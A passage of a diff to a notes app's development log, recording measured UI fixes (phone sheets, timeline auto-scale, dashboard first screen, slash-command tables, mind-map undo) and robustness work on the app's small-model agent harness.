+`notes-list.js` similar row, `settings-panes.js` palette rows). `apply_title`
+and `remove_title` split the block off first, so a title edit never touched
+the block by accident and a heading goes after it. Measured:
+`tests/test_properties_never_in_previews.py` 12 tests, 11 failing before.
+Not verified: a block longer than the 200-character clip of the agent's
+`_note_summary` `content` reaches an Ask card unclosed and is not stripped
+there (the model still reads the block in `read_note` and `_note_summary` on
+purpose); existing search index rows take the new title on the next startup
+reconcile.
+
+**The agent's link tool takes a person's own kinds (built).** `link_notes`
+had no kind at all (two prompts told the model to link "with link_type
+'contradicts'", which nothing read). It now has `link_type`, resolved by key
+or name against `manager.relation_types` (`_resolve_link_type`), and
+`ollama_tools(allowed, session=...)` swaps in a description listing the kinds
+that exist (`link_type_description`, 420 characters at most, built-ins first,
+"(+N more)" after). An unknown kind is a ToolError that lists them.
+Measured: `tests/test_agent_link_types.py` 8 tests; `test_prompt_budget.py`
+and `test_skills.py` still pass. Not verified: a real small model choosing a
+custom kind from the list (no model in the sandbox); `compact_schemas` cuts
+the parameter text to 60 characters on a small window, so there the refusal
+message is what carries the list.
+
+**Toasts over phone sheets (built).** `openSheet` draws a sheet one layer
+above its opener, so one opened from a menu (2600) or the table view (2400)
+was at 2601 or 2401 and `#toast-box` (1050) sat behind it. Below 600px the box
+is `z-index: 2700` (10-responsive.css): above the highest opener, under the
+boot splash (3000). Measured at 390x844 by `elementFromPoint` at the toast's
+centre over eight opener layers (0, 1010, 1020, 1045, 1050, 2000, 2550, 2600):
+covered at 1050 and above before (4 of 8), answered in all 8 after
+(`scratchpad/ui-sweeps/toastsheet.js`); `tests/test_toast_over_sheets.py`
+holds both ends. Not verified: a real device; widths 600 to 1099 (a sheet is
+still a bottom sheet there and the toast box is not raised, as asked);
+sheets opened from the whiteboard's text editor layer (100000, not an opener
+in practice).
+
+**The document properties panel reads note types (built).** A document
+whose frontmatter says `type: Meeting` shows that type's fields it has not
+written as empty rows (`docFrontmatterTypeFields`, pure and run in node;
+`docPropsTypeRows`; the types from `GET /note-types`, asked once and only for
+a document that has a `type`). Each row has its kind's control; a value goes in
+through `docFrontmatterAddEdits` as one line above the closing fence, a row
+left empty writes nothing, and the redraw makes it an ordinary row. Measured:
+`tests/test_doc_type_fields.py` (node, 9 checks) and
+`scratchpad/ui-sweeps/doctypeprops.js` 11/11 at 1440 and 390 (the fields
+listed, the right controls, the file unchanged until a value, one new line,
+one right edge for written and unwritten inputs, no sideways scroll). Not
+verified: the checkbox and date rows by hand in a real desktop window; a
+type named in a list or an empty `type:` offers nothing, by choice. The
+type list is read once per page load: a type changed in the palette shows
+in a document's panel after a reload.
+
+## Moved from the plans, 2026-10-04 (the documents phone pass)
+
+### From DOCUMENTS_PLAN.md sections 17 and 18 (their phone halves), Phase 5 and the tails
+
+Every open row in the plan was checked against the running app first. 17a to
+17e, the phone formatting bar (Phase 6 item 1), Phase 5 items 2 and 3, Phase
+7's python-docx row and Phase 8c's board card were all already built; the
+first two re-measured (`docnarrow.js` PASS, `dochistory.js` and `docaidiff.js`
+all pass), the plan's stale rows now point here. What the measurement found, at
+390x844 with touch, light and dark (`docphonebar.js`, `doctaskbox.js`):
+
+| Step | Before | After | Gate |
+| --- | --- | --- | --- |
+| The page against the fixed foot bar | card to y=778 under the bar at 733 to 786: the status line (743 to 765) drawn behind it, never seen; the editor's own 56px pad stopped the writing at 661, a 72px blank band | the card's margin is the bar's height (not while reading or with the focus panel): card to 725, status line 688 to 712, writing to 665 | `docphonebar.js` |
+| The selection bar on a phone | ten 44px targets, a 499px pill running 117px past a 390px window, Ask and Rewrite off the edge, Bold, Italic, Heading and Link repeated from the foot bar | the buttons the foot carries are hidden (read off the foot); six, 307px, inside; on any other narrow surface it wraps (all ten: 319x102, none off screen) and takes the card's corner; desktop unchanged (ten, one row, 339px pill) | same |
+| A task's checkbox | the target floor sized the box: Live 28px in a 24px line (1440), 44px on a phone (line 36px, adjacent boxes overlapping); Read (disabled) 28px and 44px, lines 34 and 50 against 22 | Live 1.1em (15px; 18 on the phone) in a span whose invisible strip is `--target-min` wide and one line tall, reaching over the bullet, adjacent strips meeting (0px overlap); Read 1.1em; task lines equal to plain ones; a press on the box and on the strip each toggle once | `doctaskbox.js` (1440, 820, 390) |
+| Grammar on a wiki link | "a [[Another doc]]" flagged as a redundancy, fix "aNother" | a lint touching `[[...]]` or `![[...]]` is dropped, document and note boxes | `tests/test_prose_tools.py` (through the real worker) |
+
+Found on the way: an inline-block inherits a list line's hanging
+`text-indent`, which drew the task box a whole indent left of its own span.
+`cm-live.js` clicked the first finding mark, which is now a link-text
+(accessibility) finding; it clicks the misspelling's own mark. The "/" menu on
+the phone was measured and needed nothing (354x386, inside the window and
+above the bar, 56 rows at 45px, 8 on screen). Decided: on a phone the
+selection bar keeps strike, highlight, code, quote, Ask and Rewrite, the
+foot bar keeps the rest; "never a second copy" (DESIGN.md's sheet `page`
+variant) applied to the bars.
+
+**Not verified:** a real phone's own selection menu (iOS and Android draw
+Cut, Copy and Paste above a selection, where this bar also goes) and a real
+on-screen keyboard (the bar rides `--keyboard-inset`, stubbed only).
+
+## Moved from the plans, 2026-10-04 (the auto scale)
+
+### From TIMELINE_PLAN section 7 and decision 4: the "auto" scale thresholds
+
+The first guess (day under 60 active days, week under 400, else month) was
+tuned against a copy of a 2,077-note, three-year notebook (822 active days,
+the last month 226 notes) and four synthetic shapes (`seed-timeline-shapes.py`:
+30 notes in a week; 200 over a year with 140 in one month; 2,000 over two years;
+5,000 over five), at 1440 and 390, over the three ranges (3 months, a year,
+everything). Probes: `timelinetune.js` (first screen per scale: rows, headers,
+chrome share, one-item buckets, empty calendar share, horizontal scroll, title
+width, repaint ms), `timelinetune-shape.py` (whole-feed bucket statistics, no
+browser), `timelinefirst.js` (where first paint goes).
+
+**Done-when stated** (the plan had none): no screen more than 60% empty, the
+densest day readable without a horizontal scroll, first paint under 300ms at 2k.
+
+**What the old rule got wrong**, by measurement:
+
+- It counted *active days*, so it chose by a number that is not the header
+  count at week and month: a note a week for five years is 260 active days and
+  260 week headers of one note each. It now counts the headers of each scale.
+- 3 months of the real notebook (90 days, 613 notes) chose week: 13 headers
+  holding 46 notes each, the densest 166. Day gives 90 headers, 6.7 notes each
+  (densest 77), which is a journal; auto now picks day (the cap is 120).
+- The sparse burst shape (15 notes over 90 days) chose day: 93% of its headers
+  held one note and 83% of the calendar between them was empty (first screen
+  55% chrome at 1440, 50% at 390). Week is 50% one-note headers, 23% empty
+  (51%, 45% on screen); the one-screen rule below takes it.
+- Two years of steady writing (686 active days, 105 weeks) chose month; week
+  keeps 19 notes a header where month's 80 is a wall.
+
+**The rule** (`timelineAutoScale`, `TIMELINE_AUTO_*` in timeline.js): the
+finest of day, week, month with at most 120 headers and either at most 12 of
+them (one screen) or at most 60% of its calendar span empty and a median of two
+items per header; year only when even months pass 120 (a decade). Pure, on the
+density strip, cached on it. Results, 1440 and 390 alike: the week shape stays
+day (7 headers); burst chose week; steady 90 days day, a year and two years
+week; the real notebook day, week, month (90 days, a year, everything); 5,000
+over five years day, week, month. Worst first screen anywhere: 51% empty
+(burst, week). No width scrolled sideways at any scale; the narrowest title is
+297px at 390 and 573px at 1440 (month, two columns).
+
+**First paint** is not decided by the scale: a repaint of the first 300 rows
+measured 52 to 85ms for every scale on the real notebook (request 50ms, model
+2ms), and tab press to first row was 263ms warm on 2,091 notes in the sandbox
+under a load of three to four on four cores (cold, with the lazy bundle,
+165 to 672ms across shapes and widths). Not verified: an unloaded machine, the
+desktop window, and the owner's own notebook; the 120-header cap is a judgement
+(about 1.4 screens of rows a header at week), not a measurement.
+
+Tests: `tests/test_timeline_auto_scale.py` (fifteen shapes through the real
+function in node, plus the done-when recomputed in Python). Guide text updated
+(`timeline-controls`).

+## Moved from the plans, 2026-10-04 (harness H1 to H3)
+
+### From AGENT_SKILLS_REFORM.md, "Harness robustness", phases H1 to H3
+
+| Phase | Before | After | Gate |
+| --- | --- | --- | --- |
+| H1, a plan card for every multi-step turn (`agent._TurnCard`, drawn from the harness's own ledger when the second round starts; `chat-agent.js` reuses `startPlan` and grows a row per round) | the tracker drew only for `make_plan` and skills; a small model is never offered `make_plan` | three-round turn: three ticked rows, live and reopened (`scratchpad/ui-sweeps/turncard.js` against `fake_openai_server.py --tool-rounds 2`); found on the way: replay read only `kind: "plan"`, so a skill run's saved card (`kind: "skill"`) was dropped on reopen, fixed | `test_harness_plan_card.py` |
+| H2, verify against sources (`ai/source_check.py`): a number or a mid-sentence name no tool result, note or the user's words contain gets a heads-up; only after a tool ran, only an ordinary turn; no second model round | none | fixture of twenty answers, twelve true: 20/20 right, no false flag (the fixture and the checker were written together: a self-set bar) | `test_source_check.py`, `tests/fixtures/chat/source_check_cases.json` |
+| H3, tiers by model size (`agent.SIZE_TIERS`, `size_tier`; tiny under 3B, small 3 to 8B, large, unsized as large), the only place a size decision lives | one under-8B boolean | a tool round's prose cut at 2,400 chars (tiny) or 4,800 (small), stream closed; a 1.5B had run 948 s to the 2,048-token cap | `test_harness_tiers.py` |
+| H3, prompt bookkeeping off the answer (`answer_trim.strip_prompt_metadata`, inside `trim_assistant_padding`) | "(note id 3)", "similarity 0.54" reached the reader | stripped, ordinary words kept | same |
+| H3 found-not-fixed: a picture question with its picture in a prompt note is not offered the board reads first (`agent._picture_in_hand`) | 1.5B read a whiteboard instead of the note's sketch | `read_whiteboard`, `search_whiteboard`, `read_mindmap` left off the first offer; the focus correction still widens to them | same |
+
+Atlas follow-ups (INBOX 535) the same day: the astral wisps in the light
+theme's deeper violet (median contrast 1.13 to 1.33, p90 1.40 to 3.28,
+`scratchpad/ui-sweeps/atlaswisps.js`), the waist and tail wisps turned with
+the tail in every pose (offset from the tail lying 7.6 to 14.0 units, 14.0
+standing), the body's edge glow carried down the tail as a fill; masculine
+pixel-identical in six poses and both themes (`atlasstill.js`).
+`test_atlas_wisps_pose.py`.
+
+## Moved from the plans, 2026-10-04 (the top bar mode and the glass recipe)
+
+### From UI_MODERNISATION_PLAN Phase 10, item 102
+
+Built as its own recommendation said (keep the clear variant, build it
+with a surface that floats over media rather than ahead of one, drop
+`--text-on-glass` until a measurement asks for it). What landed is the
+part that needs no new surface: `--glass-filter-clear` (blur only), the
+seven panels that already wrote that blur out (`.library-card`,
+`.chat-skills-panel`, `.chat-dock-more-panel`, `.graph-popup`,
+`.note-picker-panel`, `.editor-menu`, `.chord-guide`) taking it by token
+(the same computed value, so nothing moves), and two ratchets in
+`tests/test_ui_recipes.py`: blur-only may not be written out again, and
+no backdrop-filter outside the two tokens may appear or grow beyond the
+frozen literal table (the counts only shrink). Every blurred surface was
+already on the glass-off list (the existing ratchet). Not built, and
+why: a `.glass-clear` class and `--glass-scrim` have no surface that
+floats over media today (the lightbox card is deliberately 86% opaque,
+the whiteboard panel was moved up to `--modal-bg`, the graph zoom pill
+carries icons over moving nodes), so a class would be a recipe nothing
+runs; it is added with its first surface, in that commit (CLAUDE.md
+order 11). `--text-on-glass` is dropped: 15.25:1 light and 14.14:1 dark
+on the menus, contrast.js 0 low items in both themes.
+
+The original item, as recorded:
+
+> **102. Clear glass with a scrim, and text on glass**: `.glass-clear` (blur
+>     only, `--card` at 30%) for the whiteboard's floating panels and the
+>     graph's docks over the art, paired with `--glass-scrim` (35% ink) when
+>     the surface is light; `--text-on-glass` one contrast step above
+>     `--text` on every blurred surface. Owner: Opus. Size S.
+>
+>     **Measured before building it, and the numbers move the decision**
+>     (2026-09-09, 1440x900, the running app):
+>
+>     - `--text-on-glass` has no deficit to close. The menu row on the Notes
+>       kebab and on the dock's Filter menu is **15.25:1** in light and
+>       **14.14:1** in dark (`scratchpad/ui-sweeps/onglass.js`), because those
+>       surfaces are `--modal-bg` at 96% rather than thin glass, and
+>       contrast.js reports **0** low-contrast items on every tab and ten
+>       Settings sections in *both* themes. A token that raises 15:1 to 16:1
+>       is a token nothing needs.
+>     - `.glass-clear` on `.whiteboard-floating-panel` would reverse a
+>       recorded decision. That panel was deliberately moved *up* to
+>       `--modal-bg`, with the reason written beside it in
+>       06-timeline-dialogs.css: at the page-card tier it "read visibly
+>       thinner than every sibling panel" over the board's own art.
+>     - The one surface where the variant is honest is the graph's floating
+>       zoom pill, which is `--card` plus `--glass-filter` over the animated
+>       background, and it shares the floating-control recipe with
+>       `.scroll-top`, so changing one changes both.
+>
+>     **Recommendation, to be taken unless the owner says otherwise**: keep
+>     `.glass-clear` and `--glass-scrim` for a surface that actually floats
+>     over media (a whiteboard image background, the lightbox), build it with
+>     that surface rather than ahead of it, and drop `--text-on-glass` until a
+>     measurement asks for it. Rule 4 in DESIGN.md stays as the principle.
+
+### Top bar: the tab strip's mode
+
+The mode (`tabs-centred`, gap, `tabs-wrapped`) read its own previous
+class with 8px of hysteresis, so it depended on resize order: measured
+1024 to 2560 and back in 16px steps (`scratchpad/ui-sweeps/topbarmode.js`),
+six widths drew two modes (1312, 1344, 1520, 1648 among them) and 1312
+and 1520 wrapped a strip that fit. `tabBarMode(needed, space,
+centreSpace)` in `shell-reminders.js` is now state-free, rounded to whole
+pixels; the same sweep reports no width with two modes. The mode is not
+monotone in width on purpose: the tab labels widen at 1100 and 1200 and
+the wordmark appears at 1500, each taking room the strip then lacks.
+## Moved from the plans, 2026-10-04 (the harness)
+
+### From AGENT_SKILLS_REFORM.md, "Harness robustness, 2026-10-04 (INBOX 527)"
+
+The audit's sixteen defects, each a commit with its test. Real model:
+Qwen2.5-1.5B-Instruct Q4_K_M, llama-server `--jinja`, contended cores.
+
+| Step | Before | After | Gate |
+| --- | --- | --- | --- |
+| Malformed JSON read leniently (`provider.loads_lenient`); unreadable marked `invalid_arguments` and said so with an example | 0/5 slips read | 5/5 | `test_harness_robustness.py` |
+| `tools.check_arguments` before every handler: spellings folded, types read, missing named with an example | 11/31 named; 3/4 coerced; "false" read as true | 30/31 (web search off); 4/4 | same, `test_security_hardening.py` |
+| Small model: core plus the request's cued groups (`agent._prepare_turn`) | "Pin my dentist note": no `pin_note`, duplicate note made | `pin_note` offered and called | `test_agent_small_model.py` |
+| Long reply announcing an unconditional act nudged | not nudged over 400 chars | nudged once | same |
+| Passive claims on a turn that wrote | "has been created and pinned" passed | "pinned a note" flagged | `test_claimed_work.py` |
+| Pictures in the agent prompt (`librarian._pictures_hint`) | none | `[picture N]` offered per note with pictures | `test_answer_pictures_502.py` |
+| `ai/when.py`; `set_reminder` takes `when` | ISO only, arithmetic by the model; naive stored as UTC | 35 phrasings resolved, no model; local time; past refused | `test_when.py`, `test_clock_weekday.py` |
+| Out of rounds: one tools-withdrawn round answers | "I stopped after N rounds" only | an answer, then the stop and Continue | `test_harness_robustness.py`, `test_long_runs.py` |
+| OpenAI tools stream retries a 5xx; no `tools: []` | turn ended on 503 | one retry | `test_harness_robustness.py` |
+| Over-budget result shortened (`agent._fit_result`) | dropped whole | 3+ notes of 20 within 3,000 chars, with a note | same |
+| Same-reply calls untainted; web reads prefetched in threads | 2nd search parked; 3 pages 1.2 s | both run; under 1 s | same |
+| No match is not "notebook looks empty" | 1.5B: "no notes" with four saved | says count_notes knows | same |
+| Claimed act retried once (`CLAIM_RETRY_NUDGE`) | heads-up only | asked once, heads-up on a second miss | same |
+| Schema words (`pinned`, `add`, aliases) | 1.5B unpinned; "can't tag" | clearer words; `tags` reaches `add` | same |
+| "Add X to my Y note" offers `edit_note` (`_ADD_TO_NOTE`) | no edit tool offered | offered | same |
+| Small model's imperative: first round `tool_choice: "required"` (OpenAI dialect) | 0/3 imperatives called a tool | 2/3 with the real prompt (`tag_note` exactly right); ten-case rerun stopped, see the plan | same |
+
+## Moved from the plans, 2026-10-04 (the documents tails)
+
+### From DOCUMENTS_PLAN.md sections 17d and 17e, and the Documents tails in OPEN.md
+
+Worked from `scratchpad/docs-tails.md` (the ranked list, each item checked
+against the running app first), on a 20,919-word and a 52,294-word document.
+Opens in 893 ms and 980 ms; typing latency was already measured
+(`doctype.js`, p50 32 ms before and after this session's change).
+
+| Step | Before | After | Gate |
+| --- | --- | --- | --- |
+| Live view after a jump into a long document | a jump to 30% drew its heading as raw `### Section`, 0 drawn, still so 2.5 s later: the decoration plugin rebuilt on doc, viewport, selection and focus, not when the parser's tree arrived | rebuilds when the tree it read is replaced; 6 of 6 | `doclonglive.js` (5 of 6 before), `tests/test_doc_long.py` |
+| 17d, the breadcrumb | at 35, 60 and 90% with the caret on line 1 the trail read `Top > Annual report` while the outline marked Section 5.1, 8.1 and 11.4 | the trail ends in the section in view, equal to the outline mark at all three, and is the caret's again once the caret is on screen | `doccrumbview.js`, 9 of 9 |
+| Reopen where you left it | caret 0 and first offset 0 after leaving and returning, and after a reload | caret 67,194 and top offset 66,552 both exact; per document in `localStorage`, 60 most recent, by offset (a pixel scrollTop differs by 1,300 px in a fresh view) | `docreturn.js`, 9 of 9 (6 before) |
+| 17e, contrast over the editor | `contrast.js` never opened a document (TABS reaches the tab with nothing open) | `ONLY=document` opens a fixture with every construct and reads live, source, split, read and the outline: 0 findings at 1440 light and dark, 820 light, 390 dark (59 to 140 text elements per view); `dochighlight.js` ALL PASS | `contrast.js` |
+| Aliases lint (OPEN.md) | `autoGrow(surface)` and its three siblings read as correct and threw at runtime | fails the build; proved against a simulated drift | `tests/test_doc_long.py` |
+| "A placement must never cover the rect it is anchored to" | a 0 px gap read as attached | `spellwide2.js` asserts the menu's rect does not overlap the word's; 5 of 5 cases clear (the table-cell case OPEN.md recorded did not reproduce on this head: the word sits at 551..568 inside the editor's box ending at 584) | `spellwide2.js` |
+
+Decided here: a "how far through" figure beside `Ln, Col` is not built. The
+scrollbar, the outline's current mark and the trail now all answer it, and
+17's own rule is that nothing is added to the chrome. The outline's 28 px row
+is already density-aware (compact 24 to 25.2 px, comfortable and spacious 28
+px, measured), so that OPEN.md row was stale.
+
+`docfocus.js` failed three checks after its reload step (20 of 23). The app
+was right and the sweep was wrong: its click landed on a repeated phrase (a
+writing finding), a click on a finding opens the suggestion menu, and the
+focus-mode Escape handler returns while a menu is open, so the first Escape
+closed the menu. The sweep now asserts both halves in order: 24 of 24.
+
+## Moved from the plans, 2026-10-03
+
+### From MINDMAP_PLAN.md: the second audit's open items (INBOX 445 (2))
+
+Six items found and left by the 445 (2) audit, fixed in one pass and driven
+with real keys by `scratchpad/ui-sweeps/wbmapundo.js` (18 checks; the same
+sweep on the code before: item 1 fails, item 2 fails, items 3 to 5 fail 7 of
+11, measured 2026-10-03), with `wbmapaudit.js` (25/25) and `wbkeywalk.js`
+(10/10) green after.
+
+- **A deleted branch restored by Ctrl+Z came back without its cross-links.**
+  `DELETE /whiteboard/objects/{id}` returned the topic rows and dropped the
+  link sketches silently; it now returns them as `links` (sketch rows,
+  collected by `_forget_links_to(..., into=)`), the undo entry keeps them, and
+  `wbMapRestoreRows` writes them again with each end inside the branch
+  translated to its new id (an end outside keeps its own). Redo carries them
+  too. Before: 1 link, Delete, Ctrl+Z, 0 links. After: 1, restored between the
+  new topic and the old one.
+- **Undo after a restore went stale.** Restored topics have new ids; the
+  create, rename and reparent entries under them named the old ones, so the
+  next Ctrl+Z hit a row that was gone (measured: "Couldn't undo that" toast,
+  topic left behind). `wbRemapUndoIds` rewrites both stacks (batches, reparent
+  targets, restored row ids and parents, a link's two ends). Restoring with
+  the original ids was refused: the create route assigns ids.
+- **Shift+Tab added no undo step.** `wbMapOutdent` pushes the reparent plus
+  the places the tidy moved, as one batch (0 steps before, 1 after; Ctrl+Z
+  puts it back under its parent, Ctrl+Shift+Z outdents again).
+- **After undoing a create nothing was selected.** `wbUndo` selects the first
+  parent of the removed topics that is still on the board (before: a stale
+  selection of the removed topic; after: the parent).
+- **Tab on the canvas added a topic from anywhere.** See MINDMAP_PLAN decision
+  14. Before: Tab from the top bar with a topic selected added one (5 to 6);
+  sixty Tabs from the top bar added fifteen. After: 5 to 5, focus moves on.
+- **Sweeps `wbphase4.js` (7/19) and `whiteboard.js` (rail children)** were the
+  sweeps, not the app. A branch is a closed ribbon (`wbMapRibbonD`), so the
+  probe that read the path's last point as the child's end measured the
+  parent twice (477px "gap"), and the hit twin is the open centreline by
+  design; it now samples the ribbon about a pixel apart and checks the twin's
+  ends against the nodes (19/19). The rail's second painted child was the
+  tool that had just lost `active`, still fading its fill out at alpha 0.011,
+  80ms after the key walk; the sweep waits the transition out.
+- **Found on the way:** focus mode (`wbMapFocusHidden`) read the tree's
+  cross-links as `source_id`/`target_id` while the server sends `from_id` and
+  `to_id`, so a cross-link never kept its far topic in view. Fixed, with a
+  test.
+
+### From WORLD_CLASS_PLAN.md D1: the dashboard's first screen (INBOX 436)
+
+**The first screen, INBOX 436 (2026-10-03).** User feedback, through the
+owner: "quite a lot going on visually on the dashboard when the user opens
+the application"; the hero and the widget grid stay as they are, everything
+between and around them is redesigned. Measured with
+`scratchpad/ui-sweeps/dash436.js` (33 notes in five categories, three
+reminders, two documents, a board, two skills run; and a fresh notebook),
+light, 1440x900 unless named:
+
+- **The band between hero and grid is half the window.** The hero ends at
+  y=211 and the first widget starts at y=673: 462px of chrome (1280x720: 47px
+  of widget on screen; 390x844: the first widget at y=749, under the 60px tab
+  bar, so none). 73 visible elements and 20 controls in the band, 176 and 50
+  on the whole first screen; 7 font sizes in the band alone.
+- **What competes.** Six bands (search, Start something, Jump to, Run a skill,
+  four stat tiles and a sparkline, a "Your dashboard" bar) and four kinds of
+  chip, each asking to be pressed: five large tiles with a hint each, four
+  pills, three skill pills, four stat buttons, three toolbar controls. In
+  dark, three of them draw as primaries at once (the tinted New note, a
+  stat tile, a filled toolbar button).
+- **What repeats.** The note count three times (the hero's line, a stat tile,
+  the status bar); the due reminder five times (hero line, stat tile in an
+  amber edge, status bar, the Reminders tab badge, the bell); search three
+  times (the field, a "Search notes" pill, the status bar's Find); Commands
+  and Ask twice each (a pill or tile, and the status bar). On an empty
+  notebook the welcome card repeats New note and Ask under the tiles that
+  already say them, and turns a second emblem under the hero's.
+- **What is noise.** Three eyebrows naming rows that already say what they
+  are; the "Your dashboard" bar, a full card for three settings-level
+  controls (View, Widgets, Edit layout) that are used once a month.
+
+**Target** (the principles: one primary action, hierarchy from size and
+weight with colour kept for meaning, progressive disclosure, the spacing
+tokens, calm motion, DESIGN.md's recipes; and a comparison of Notion Home,
+Obsidian homepages, Apple Notes, Reflect, Mem, Capacities, Linear's inbox,
+Arc and Raycast, Things 3 Today and Craft, whose common shape is one way in,
+one primary, customisation behind a single ⋯): hero, then **one dock row**,
+then the **Start something** tiles (kept whole, the owner's instruction:
+New note, Ask AI, Sketch, Remind me, Meeting notes, five icon cards with a
+line each, New note the one primary), then the widgets. The row is the tab's
+control bar (`.dock`, the grammar every other tab uses): the search doorway
+(`#dash-find`) and one grouped `kebabMenu` holding what Jump to, Run a skill
+and the layout bar held: Continue (the last note touched), the two recent
+skills and All skills, Tools & features, Commands, View (Full, Compact,
+Focused), Widgets and Edit layout. The four stat tiles and the sparkline
+leave the first screen: the figures are the hero's own line and the status
+bar, and the Stats, Streak and Writing pace widgets hold the rest. Edit
+layout shows a one-line bar above the grid with its Done. The empty
+notebook's welcome card loses its second emblem. Gate: the band at most half
+of what it was at every width, the first widget above the fold at 390x844,
+no new findings from errors, contrast, axe (dashboard) and a11yname.
+
+**Built (2026-10-03).** Hero, then one dock row (`data-dock-name="dashboard"`:
+`#dash-find` and one grouped `kebabMenu`, `dashMoreItems` in dashboard.js),
+then the Start something tiles (kept whole), then the widgets. Edit layout is
+`#dash-editbar` above the grid with its Done (`#dash-edit`). The streak cheer
+moved to `renderDashSubmessage`. About 1,000 lines of CSS and the strip's JS
+went (dashboard.js 4.9 KB smaller gzipped). Pinned by
+`tests/test_inbox_436_dashboard.py`; measured with
+`scratchpad/ui-sweeps/dash436.js` (the first screen) and `dash436menu.js` (the
+menu, Edit layout and Done, View, New note, at 1440 and 390), before against
+a server on the base commit with a copy of the same data. Seeded notebook,
+light and dark the same unless named:
+
+| Width | Band hero to grid | First widget y | Elements on screen | Controls on screen | Elements / controls in the band | Font sizes in the band |
+| --- | ---: | ---: | ---: | ---: | ---: | ---: |
+| 1440x900 | 462 to 205px | 673 to 417 | 176 to 145 | 50 to 39 | 73/20 to 27/7 | 7 to 4 |
+| 1280x720 | 462 to 205px | 673 to 416 | 155 to 128 | 47 to 36 | 73/20 to 27/7 | 7 to 4 |
+| 390x844 | 552 to 205px | 749 to 401 (dark 789 to 401) | 84 to 65 | 26 to 17 | 44/13 to 14/4 | 4 to 2 |
+
+A fresh notebook: band 410 to 205px at 1440 and 458 to 205 at 390, turning
+emblems on screen 3 to 2 (the welcome card's second mark is gone; the hero's
+and the status bar's remain, the owner's choice), first content at 390 from
+y=715 to 463. Distinct accent colours and font weights unchanged (2 to 4, 4
+to 5 across both); the page area's filled primary is still the one New note
+tile. Sweeps against the after server, light and dark where they take a theme: errors.js (1440, 390) 0 errors and 0 layout findings, contrast.js every surface ok (the dashboard 51 text elements, was 70), axe.js ONLY=dashboard 0 findings (incomplete nodes 13 to 6), a11yname.js 0 findings; the same four on the base commit were also clean, so nothing is new. Not verified: the desktop window, a real screen reader, and a human eye on the menu at 1024 and 820.

+and also they need to be discoverable by the user as well."
+
+**Read the code before believing the brief.** "Not properly structured" is
+not what is there. `EDITOR_SURFACES` in `frontend/js/editor.js` is an
+id-to-context table, and each context has its own command list whose rows
+carry an id, a group, a label, a hint, search keywords, a `primary` flag and
+a `run`. That is a reasonable object already, and the documents side has a
+second one, `DOC_COMMANDS` in `frontend/js/documents.js`, 34 rows of id, icon,
+label, chord and `run`, bracketed by markers so `tests/test_doc_commands.py`
+can read its shape without a browser. So this section is not a rewrite of a
+mess. It is the work of making two good tables into one system, and of
+telling anybody that the feature exists.
+
+**Measured on the branch head, 2026-09-21:**
+
+| What | Reading |
+| --- | --- |
+| Contexts with their own commands | note, document, chat, skill |
+| Command groups declared in editor.js | 45 |
+| Labels written as emoji | 38 |
+| Labels written as the app's icon tokens | 10 |
+| Separate command tables | 2, editor.js's per-context lists and documents.js's `DOC_COMMANDS` |
+| Discoverability affordance | none found: the menu exists only once "/" is typed |
+
+The emoji count is the finding. This app ships a vendored icon set and names
+icons as `ph:` tokens everywhere else, and `tests/test_no_glyph_icons.py`
+exists precisely to keep typed characters out of the interface. The slash
+menus are where that rule was never applied: 38 rows against 10. A menu that
+draws its own icons in a different alphabet from every other menu is exactly
+the "not proper objects" the owner is reacting to, even though the data
+behind it is fine.
+
+**Decisions made.**
+
+1. One table shape for every context, and the row is the object: id, icon as
+   a `ph:` token, label, hint, keywords, group, `primary`, chord, `run`. The
+   document table and the editor tables meet at that shape rather than one
+   absorbing the other, because they are reached differently and always will
+   be.
+2. Icons come from the vendored set. No emoji in a command row, held by
+   extending `tests/test_no_glyph_icons.py` to cover the command tables, so
+   the next row added cannot reintroduce them.
+3. A command is discoverable three ways or it is not discoverable: the hint
+   on the surface, the menu itself, and search by keyword rather than by the
+   app's internal vocabulary. The keywords field already exists and is
+   already used for the second of those.
+4. The affordance is shown, not documented. Whatever says "/" is available
+   appears on an empty surface and gets out of the way once there is text,
+   rather than being a line in a help panel nobody opens.
+5. Nothing is added to the chrome, per section 17's rule, and any new recipe
+   arrives with its lint in the same commit (standing order 11).
+
+**Phases, each with its gate.**
+
+- ~~**18a. One row shape.**~~ **Built 2026-09-21**, and the difference
+  between the two shapes turned out not to be cosmetic. `DOC_COMMANDS` kept
+  its icon in an `icon` field; editor.js's four lists packed theirs into the
+  front of `label`, as a string the row builder printed whole. Two
+  consequences, both fixed by the split:
+
+  * it is *why* the eight callout commands reached for emoji. The row builder
+    used `textContent`, so a `ph:` token in a label would have printed as the
+    literal text "ph:note Note box"; an emoji was the only mark that could go
+    there at all.
+  * it quietly broke the menu's own ranking. `editorRankCommands` scores
+    `label.startsWith(query)` first, and no label started with a letter, so
+    that branch could never fire: typing the first word of a command ranked
+    it no better than a keyword hit.
+
+  39 rows split (38 plain, one template literal), the icon joined to the
+  label at render rather than stored joined, so a row can be read for its
+  icon without parsing its label. `tests/test_command_row_shape.py` reads
+  both tables from source with no browser and asserts every row carries an
+  `icon`, that no `label` opens with a token, and that no `label` opens with
+  a character outside ASCII (the shape check that backs
+  `test_no_glyph_icons.py`'s named-character one). Two of its three fail
+  against the code before the split.
+- ~~**18b. The icons.**~~ **Built 2026-09-21, and it found the menu did not
+  open at all.** The 38 are `ph:` tokens; the menu row builds its label
+  through `setLabel` like every other menu in the app, which it did not
+  before and which is why a token could not be written in one; the rendered
+  callout heads with an `<i class="ph">`, since `CALLOUT_KINDS` is read by
+  the renderer as well as by the menu. The Library's create table, the chat
+  attachment close, a note embed's marker and two graph arrows went with
+  them. `tests/test_no_glyph_icons.py` now decodes `\uXXXX` and `\u{...}`
+  before looking, which is the hole the 38 sat in: they were escapes, so a
+  lint reading the source text of the literal saw backslashes.
+  `scratchpad/ui-sweeps/slashicons.js` is the probe, in the gate: 14 rows, 0
+  printing a literal token, 14 of 14 carrying an icon element (4 of 14
+  before), 0 opening with a character outside ASCII.
+
+  **The finding that matters more than the icons.** Opening the menu to
+  count its rows is how this was found: 0 rows. `editorSurfaceFor` needs
+  `asSurface`, which documents.js defines, and documents.js is in the
+  Library's lazy bundle, so on every fresh load the "/" menu did nothing in
+  the note capture box, the note edit box, the chat composer and the skill
+  steps box until the person happened to open Library or Documents. Four of
+  the five surfaces. The guard that hid it said the case "cannot happen in
+  the browser (the script order is fixed)"; the script order had stopped
+  being fixed under it. Fixed by warming the bundle when an editing surface
+  takes focus and replaying the keystroke that arrived first, and held by
+  `tests/test_lazy_bundle_calls.py`, which accounts for every call a
+  boot-loaded file makes into a lazy bundle.
+
+  **The rule this leaves behind, which is the point of writing it down:** a
+  `typeof x === "function"` guard around a feature is not a safety net, it is
